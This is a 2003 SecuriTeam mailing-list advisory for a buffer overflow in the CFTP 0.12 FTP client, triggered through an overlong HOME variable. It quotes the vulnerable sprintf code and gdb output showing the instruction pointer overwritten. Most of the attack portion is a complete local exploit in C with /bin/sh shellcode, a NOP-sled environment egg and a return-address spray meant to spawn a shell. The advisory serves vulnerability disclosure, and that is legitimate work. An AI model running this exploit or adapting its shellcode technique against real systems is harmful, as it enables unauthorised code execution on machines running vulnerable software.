

[UNIX] CFTP Buffer Overflow Vulnerability (HOME)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/20/03

To: list@securiteam.com

Date: 20 Jul 2003 19:58:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

CFTP Buffer Overflow Vulnerability (HOME)

SUMMARY

<<http://sunsite.univie.ac.at/pub/nih/cftp/>> CFTP is a "Comfortable FTP, a full screen ftp client". A locally exploitable buffer overflow in the product allows attackers via the HOME environment variable to overflow an internal buffer.

DETAILS

Vulnerable systems:

* CFTP version 0.12 and prior

Vulnerable code:

In main.c we can find:

```
/* XXX */ readrc(&user, &pass, &host, &port, &wdir, check_alias);
```

```
if (ftp_proto == 0) {  
    if (user == NULL) {  
        read_netrc(host, &user, &pass, &wdir);.....ponit
```

}

```
.....
read_netrc(char *host, char **user, char **pass, char **wdir)
{
    FILE *f;
    char b[1024], *home, *p, *q;
    int match, init, end, userp;
    struct stat stat;

    if ((home=getenv("HOME")) == NULL).....point
        home = "";
    sprintf(b, "%s/.netrc", home);.....point
```

As you can see the HOME is not length limited, allowing us to overflow the "b" variable.

Example:

```
[root@localhost cftp-0.12]# export HOME=`perl -e 'printf "A" x 1054`
[root@localhost cftp-0.12]# gdb cftp
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r s
Starting program: /tmp/cftp-0.12/cftp s
```

```
Program received signal SIGSEGV, Segmentation fault.
0x2e2f4141 in ?? ()
(gdb) q
```

```
[root@localhost cftp-0.12]# export HOME=`perl -e 'printf "A" x 1056`
[root@localhost cftp-0.12]# gdb ./cftp
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r 2112
Starting program: /tmp/cftp-0.12/cftp 2112
```

Securiteam: [UNIX] CFTP Buffer Overflow Vulnerability (HOME)

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) bt

#0 0x41414141 in ?? ()

Cannot access memory at address 0x41414141

(gdb) i reg

eax 0x0 0

ecx 0x819 2073

edx 0x80767f0 134703088

ebx 0x41414141 1094795585

esp 0xbffff510 0xbffff510

ebp 0x41414141 0x41414141

esi 0x40012020 1073815584

edi 0xbffff5b4 -1073744460

eip 0x41414141 0x41414141

Exploit:

```
/*
```

```
* cftp-0.120 local exploit
```

```
*
```

```
* coded by nic
```

```
*
```

```
* (c) 0x333 Outsiders Security Labs / www.0x333.org
```

```
*
```

```
*/
```

```
#include
```

```
#include
```

```
#include
```

```
#include
```

```
#define DEFAULT_OFFSET 1000
```

```
#define BUFFER_SIZE 1084
```

```
#define EGG_SIZE 2048
```

```
#define NOP 0x90
```

```
#define ALIGN 1
```

```
char shellcode[] =
```

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
```

```
"\x68\x2f\x62\x69\x6e\x89\xe3\x89"
```

```
"\x64\x24\x0c\x89\x44\x24\x10\x8d"
```

```
"\x4c\x24\x0c\x8b\x54\x24\x08\xb0"
```

```
"\x0b\xcd\x80";
```

```
unsigned long get_esp(void) {
```

```
    __asm__("movl %esp,%eax");
```

```
}
```

```
void main(int argc, char *argv[]) {
```

```
    char *buffer, *ptr, *egg;
```

Securiteam: [UNIX] CFTP Buffer Overflow Vulnerability (HOME)

```
long *address_p, addr;

int offset= DEFAULT_OFFSET, bsize= BUFFER_SIZE;

int i, egg_size= EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) egg_size = atoi(argv[3]);

if (!(buffer = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

if (!(egg = malloc(egg_size))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
ptr = buffer;
address_p = (long *) (ptr+ALIGN);
for (i = 0; i < bsize; i+=4)
*(address_p++) = addr;

ptr = egg;
for (i = 0; i < egg_size - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buffer[bsize - 1] = '\0';
egg[egg_size - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buffer,"HOME=",5);
putenv(buffer);
printf("[+]Using address: 0x%x\n", addr);
fprintf (stdout, "\n [+] cftp-0.12 local exploit \n");
fprintf (stdout, " [+] by nic / www.0x333.org\n\n");
fprintf (stdout, " [+] spawning shell\n\n");
system("/tmp/cftp-0.12/cftp ip");
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:nic0x333@hotmail.com>> nic.

=====

Securiteam: [UNIX] CFTP Buffer Overflow Vulnerability (HOME)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.